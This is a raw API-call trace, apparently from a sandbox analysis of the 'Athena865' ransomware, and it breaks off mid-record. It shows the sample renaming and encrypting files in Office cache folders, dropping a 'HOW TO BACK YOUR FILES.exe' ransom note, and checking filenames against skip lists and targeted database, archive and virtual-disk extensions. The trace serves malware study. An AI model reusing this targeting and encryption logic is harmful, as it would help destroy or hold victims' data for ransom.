(lpString1="xml", lpString2="sql") returned 1 [0056.339] lstrlenW (lpString="sqlite") returned 6 [0056.339] lstrcmpiW (lpString1="UI.xml", lpString2="sqlite") returned 1 [0056.339] lstrlenW (lpString="sqlite3") returned 7 [0056.339] lstrcmpiW (lpString1="MUI.xml", lpString2="sqlite3") returned -1 [0056.339] lstrlenW (lpString="sqlitedb") returned 8 [0056.339] lstrcmpiW (lpString1="dMUI.xml", lpString2="sqlitedb") returned -1 [0056.339] lstrlenW (lpString="xml") returned 3 [0056.339] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0056.340] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.Athena865") returned 84 [0056.340] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.athena865"), dwFlags=0x1) returned 1 [0056.340] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0056.340] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1800) returned 1 [0056.341] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0056.341] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0056.341] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5189a8 [0056.341] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ab8) returned 1 [0056.341] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0056.342] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0056.342] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa10, lpName=0x0) returned 0x154 [0056.344] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa10) returned 0x100000 [0056.345] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ab8) returned 1 [0056.345] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0056.345] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0056.346] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0056.346] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0056.346] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0056.346] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0056.346] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0056.346] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0056.346] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0056.346] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0056.346] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0056.346] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0056.346] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0056.346] CloseHandle (hObject=0x154) returned 1 [0056.346] CloseHandle (hObject=0x17c) returned 1 [0056.346] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0056.346] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5189a8 | out: hHeap=0x4f0000) returned 1 [0056.346] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0056.347] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 0 [0056.347] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0056.347] ReleaseMutex (hMutex=0xec) returned 1 [0056.347] CloseHandle (hObject=0xec) returned 1 [0056.347] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C" [0056.347] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518a30 | out: hHeap=0x4f0000) returned 1 [0056.347] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f580 | out: hHeap=0x4f0000) returned 1 [0056.347] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C") returned 62 [0056.347] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\B6ABEC69A26CFC4C8CCECDBA59F4B68F") returned 0xec [0056.347] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0056.347] lstrcatW (in: lpString1="", lpString2="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C" [0056.347] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0056.347] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 0 [0056.348] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0056.348] GetLastError () returned 0x0 [0056.348] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0056.348] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0056.348] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0056.349] CloseHandle (hObject=0xf4) returned 1 [0056.349] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0056.349] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0056.349] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd36cac0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd36cac0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0056.349] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0056.349] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0056.349] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0056.349] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd36cac0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd36cac0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.349] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0056.350] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0056.350] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0056.350] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0056.350] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd36cac0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd36cac0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0056.350] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0056.350] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0056.350] lstrcmpiW (lpString1="Proof.en", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0056.350] lstrcmpiW (lpString1="Proof.en", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0056.350] lstrcmpiW (lpString1="Proof.en", lpString2=".") returned 1 [0056.350] lstrcmpiW (lpString1="Proof.en", lpString2="..") returned 1 [0056.350] lstrcmpiW (lpString1="Proof.en", lpString2="windows") returned -1 [0056.350] lstrcmpiW (lpString1="Proof.en", lpString2="bootmgr") returned 1 [0056.350] lstrcmpiW (lpString1="Proof.en", lpString2="temp") returned -1 [0056.350] lstrcmpiW (lpString1="Proof.en", lpString2="pagefile.sys") returned 1 [0056.350] lstrcmpiW (lpString1="Proof.en", lpString2="boot") returned 1 [0056.350] lstrcmpiW (lpString1="Proof.en", lpString2="ids.txt") returned 1 [0056.350] lstrcmpiW (lpString1="Proof.en", lpString2="ntuser.dat") returned 1 [0056.350] lstrcmpiW (lpString1="Proof.en", lpString2="perflogs") returned 1 [0056.350] lstrcmpiW (lpString1="Proof.en", lpString2="MSBuild") returned 1 [0056.350] lstrlenW (lpString="Proof.en") returned 8 [0056.350] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Proof.en" | out: lpString1="Proof.en") returned="Proof.en" [0056.350] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f580 [0056.350] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x90) returned 0x532f80 [0056.350] lstrcatW (in: lpString1="Proof.en", lpString2="\\" | out: lpString1="Proof.en\\") returned="Proof.en\\" [0056.350] lstrcatW (in: lpString1="Proof.en\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Proof.en\\HOW TO BACK YOUR FILES.exe") returned="Proof.en\\HOW TO BACK YOUR FILES.exe" [0056.350] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\how to back your files.exe"), bFailIfExists=1) returned 1 [0056.353] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0056.353] lstrcmpiW (lpString1="Proof.es", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0056.353] lstrcmpiW (lpString1="Proof.es", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0056.353] lstrcmpiW (lpString1="Proof.es", lpString2=".") returned 1 [0056.353] lstrcmpiW (lpString1="Proof.es", lpString2="..") returned 1 [0056.353] lstrcmpiW (lpString1="Proof.es", lpString2="windows") returned -1 [0056.353] lstrcmpiW (lpString1="Proof.es", lpString2="bootmgr") returned 1 [0056.353] lstrcmpiW (lpString1="Proof.es", lpString2="temp") returned -1 [0056.353] lstrcmpiW (lpString1="Proof.es", lpString2="pagefile.sys") returned 1 [0056.353] lstrcmpiW (lpString1="Proof.es", lpString2="boot") returned 1 [0056.353] lstrcmpiW (lpString1="Proof.es", lpString2="ids.txt") returned 1 [0056.353] lstrcmpiW (lpString1="Proof.es", lpString2="ntuser.dat") returned 1 [0056.353] lstrcmpiW (lpString1="Proof.es", lpString2="perflogs") returned 1 [0056.353] lstrcmpiW (lpString1="Proof.es", lpString2="MSBuild") returned 1 [0056.353] lstrlenW (lpString="Proof.es") returned 8 [0056.353] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Proof.es" | out: lpString1="Proof.es") returned="Proof.es" [0056.353] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f568 [0056.353] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x90) returned 0x533018 [0056.353] lstrcatW (in: lpString1="Proof.es", lpString2="\\" | out: lpString1="Proof.es\\") returned="Proof.es\\" [0056.353] lstrcatW (in: lpString1="Proof.es\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Proof.es\\HOW TO BACK YOUR FILES.exe") returned="Proof.es\\HOW TO BACK YOUR FILES.exe" [0056.353] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\how to back your files.exe"), bFailIfExists=1) returned 1 [0056.355] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0056.355] lstrcmpiW (lpString1="Proof.fr", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0056.355] lstrcmpiW (lpString1="Proof.fr", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0056.355] lstrcmpiW (lpString1="Proof.fr", lpString2=".") returned 1 [0056.355] lstrcmpiW (lpString1="Proof.fr", lpString2="..") returned 1 [0056.356] lstrcmpiW (lpString1="Proof.fr", lpString2="windows") returned -1 [0056.356] lstrcmpiW (lpString1="Proof.fr", lpString2="bootmgr") returned 1 [0056.356] lstrcmpiW (lpString1="Proof.fr", lpString2="temp") returned -1 [0056.356] lstrcmpiW (lpString1="Proof.fr", lpString2="pagefile.sys") returned 1 [0056.356] lstrcmpiW (lpString1="Proof.fr", lpString2="boot") returned 1 [0056.356] lstrcmpiW (lpString1="Proof.fr", lpString2="ids.txt") returned 1 [0056.356] lstrcmpiW (lpString1="Proof.fr", lpString2="ntuser.dat") returned 1 [0056.356] lstrcmpiW (lpString1="Proof.fr", lpString2="perflogs") returned 1 [0056.356] lstrcmpiW (lpString1="Proof.fr", lpString2="MSBuild") returned 1 [0056.356] lstrlenW (lpString="Proof.fr") returned 8 [0056.356] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Proof.fr" | out: lpString1="Proof.fr") returned="Proof.fr" [0056.356] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f550 [0056.356] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x90) returned 0x5330b0 [0056.356] lstrcatW (in: lpString1="Proof.fr", lpString2="\\" | out: lpString1="Proof.fr\\") returned="Proof.fr\\" [0056.356] lstrcatW (in: lpString1="Proof.fr\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Proof.fr\\HOW TO BACK YOUR FILES.exe") returned="Proof.fr\\HOW TO BACK YOUR FILES.exe" [0056.356] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\how to back your files.exe"), bFailIfExists=1) returned 1 [0056.358] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40650500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x40650500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf0126df0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proofing.msi", cAlternateFileName="")) returned 1 [0056.358] lstrcmpiW (lpString1="Proofing.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0056.358] lstrcmpiW (lpString1="Proofing.msi", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0056.358] lstrcmpiW (lpString1="Proofing.msi", lpString2=".") returned 1 [0056.358] lstrcmpiW (lpString1="Proofing.msi", lpString2="..") returned 1 [0056.358] lstrcmpiW (lpString1="Proofing.msi", lpString2="windows") returned -1 [0056.358] lstrcmpiW (lpString1="Proofing.msi", lpString2="bootmgr") returned 1 [0056.358] lstrcmpiW (lpString1="Proofing.msi", lpString2="temp") returned -1 [0056.358] lstrcmpiW (lpString1="Proofing.msi", lpString2="pagefile.sys") returned 1 [0056.358] lstrcmpiW (lpString1="Proofing.msi", lpString2="boot") returned 1 [0056.358] lstrcmpiW (lpString1="Proofing.msi", lpString2="ids.txt") returned 1 [0056.358] lstrcmpiW (lpString1="Proofing.msi", lpString2="ntuser.dat") returned 1 [0056.358] lstrcmpiW (lpString1="Proofing.msi", lpString2="perflogs") returned 1 [0056.359] lstrcmpiW (lpString1="Proofing.msi", lpString2="MSBuild") returned 1 [0056.359] lstrlenW (lpString="Proofing.msi") returned 12 [0056.359] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Proofing.msi" | out: lpString1="Proofing.msi") returned="Proofing.msi" [0056.359] lstrlenW (lpString="Proofing.msi") returned 12 [0056.359] lstrlenW (lpString="Athena865") returned 9 [0056.359] lstrcmpiW (lpString1="ofing.msi", lpString2="Athena865") returned 1 [0056.359] lstrlenW (lpString=".dll") returned 4 [0056.359] lstrcmpiW (lpString1="Proofing.msi", lpString2=".dll") returned 1 [0056.359] lstrlenW (lpString=".lnk") returned 4 [0056.359] lstrcmpiW (lpString1="Proofing.msi", lpString2=".lnk") returned 1 [0056.359] lstrlenW (lpString=".ini") returned 4 [0056.359] lstrcmpiW (lpString1="Proofing.msi", lpString2=".ini") returned 1 [0056.359] lstrlenW (lpString=".sys") returned 4 [0056.359] lstrcmpiW (lpString1="Proofing.msi", lpString2=".sys") returned 1 [0056.359] lstrlenW (lpString="Proofing.msi") returned 12 [0056.359] lstrlenW (lpString="bak") returned 3 [0056.359] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1 [0056.359] lstrlenW (lpString="ba_") returned 3 [0056.359] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1 [0056.359] lstrlenW (lpString="dbb") returned 3 [0056.359] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1 [0056.359] lstrlenW (lpString="vmdk") returned 4 [0056.359] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1 [0056.359] lstrlenW (lpString="rar") returned 3 [0056.359] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1 [0056.359] lstrlenW (lpString="zip") returned 3 [0056.359] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1 [0056.359] lstrlenW (lpString="tgz") returned 3 [0056.359] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1 [0056.359] lstrlenW (lpString="vbox") returned 4 [0056.359] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1 [0056.359] lstrlenW (lpString="vdi") returned 3 [0056.359] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1 [0056.360] lstrlenW (lpString="vhd") returned 3 [0056.360] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1 [0056.360] lstrlenW (lpString="vhdx") returned 4 [0056.360] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1 [0056.360] lstrlenW (lpString="avhd") returned 4 [0056.360] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1 [0056.360] lstrlenW (lpString="db") returned 2 [0056.360] lstrcmpiW (lpString1="si", lpString2="db") returned 1 [0056.360] lstrlenW (lpString="db2") returned 3 [0056.360] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1 [0056.360] lstrlenW (lpString="db3") returned 3 [0056.360] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1 [0056.360] lstrlenW (lpString="dbf") returned 3 [0056.360] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1 [0056.360] lstrlenW (lpString="mdf") returned 3 [0056.360] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1 [0056.360] lstrlenW (lpString="mdb") returned 3 [0056.360] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1 [0056.360] lstrlenW (lpString="sql") returned 3 [0056.360] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1 [0056.360] lstrlenW (lpString="sqlite") returned 6 [0056.360] lstrcmpiW (lpString1="ng.msi", lpString2="sqlite") returned -1 [0056.360] lstrlenW (lpString="sqlite3") returned 7 [0056.360] lstrcmpiW (lpString1="ing.msi", lpString2="sqlite3") returned -1 [0056.360] lstrlenW (lpString="sqlitedb") returned 8 [0056.360] lstrcmpiW (lpString1="fing.msi", lpString2="sqlitedb") returned -1 [0056.360] lstrlenW (lpString="xml") returned 3 [0056.360] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1 [0056.360] lstrlenW (lpString="$er") returned 3 [0056.360] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1 [0056.360] lstrlenW (lpString="4dd") returned 3 [0056.360] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1 [0056.360] lstrlenW (lpString="4dl") returned 3 [0056.360] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1 [0056.361] lstrlenW (lpString="^^^") returned 3 [0056.361] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1 [0056.361] lstrlenW (lpString="abs") returned 3 [0056.361] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1 [0056.361] lstrlenW (lpString="abx") returned 3 [0056.361] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1 [0056.361] lstrlenW (lpString="accdb") returned 5 [0056.361] lstrcmpiW (lpString1="g.msi", lpString2="accdb") returned 1 [0056.361] lstrlenW (lpString="accdc") returned 5 [0056.361] lstrcmpiW (lpString1="g.msi", lpString2="accdc") returned 1 [0056.361] lstrlenW (lpString="accde") returned 5 [0056.361] lstrcmpiW (lpString1="g.msi", lpString2="accde") returned 1 [0056.361] lstrlenW (lpString="accdr") returned 5 [0056.361] lstrcmpiW (lpString1="g.msi", lpString2="accdr") returned 1 [0056.361] lstrlenW (lpString="accdt") returned 5 [0056.361] lstrcmpiW (lpString1="g.msi", lpString2="accdt") returned 1 [0056.361] lstrlenW (lpString="accdw") returned 5 [0056.361] lstrcmpiW (lpString1="g.msi", lpString2="accdw") returned 1 [0056.361] lstrlenW (lpString="accft") returned 5 [0056.361] lstrcmpiW (lpString1="g.msi", lpString2="accft") returned 1 [0056.361] lstrlenW (lpString="adb") returned 3 [0056.361] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1 [0056.361] lstrlenW (lpString="adb") returned 3 [0056.361] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1 [0056.361] lstrlenW (lpString="ade") returned 3 [0056.361] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1 [0056.361] lstrlenW (lpString="adf") returned 3 [0056.361] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1 [0056.361] lstrlenW (lpString="adn") returned 3 [0056.361] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1 [0056.361] lstrlenW (lpString="adp") returned 3 [0056.361] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1 [0056.361] lstrlenW (lpString="alf") returned 3 [0056.361] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1 [0056.362] lstrlenW (lpString="ask") returned 3 [0056.362] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1 [0056.362] lstrlenW (lpString="btr") returned 3 [0056.362] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1 [0056.362] lstrlenW (lpString="cat") returned 3 [0056.362] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1 [0056.362] lstrlenW (lpString="cdb") returned 3 [0056.362] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1 [0056.362] lstrlenW (lpString="ckp") returned 3 [0056.362] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1 [0056.362] lstrlenW 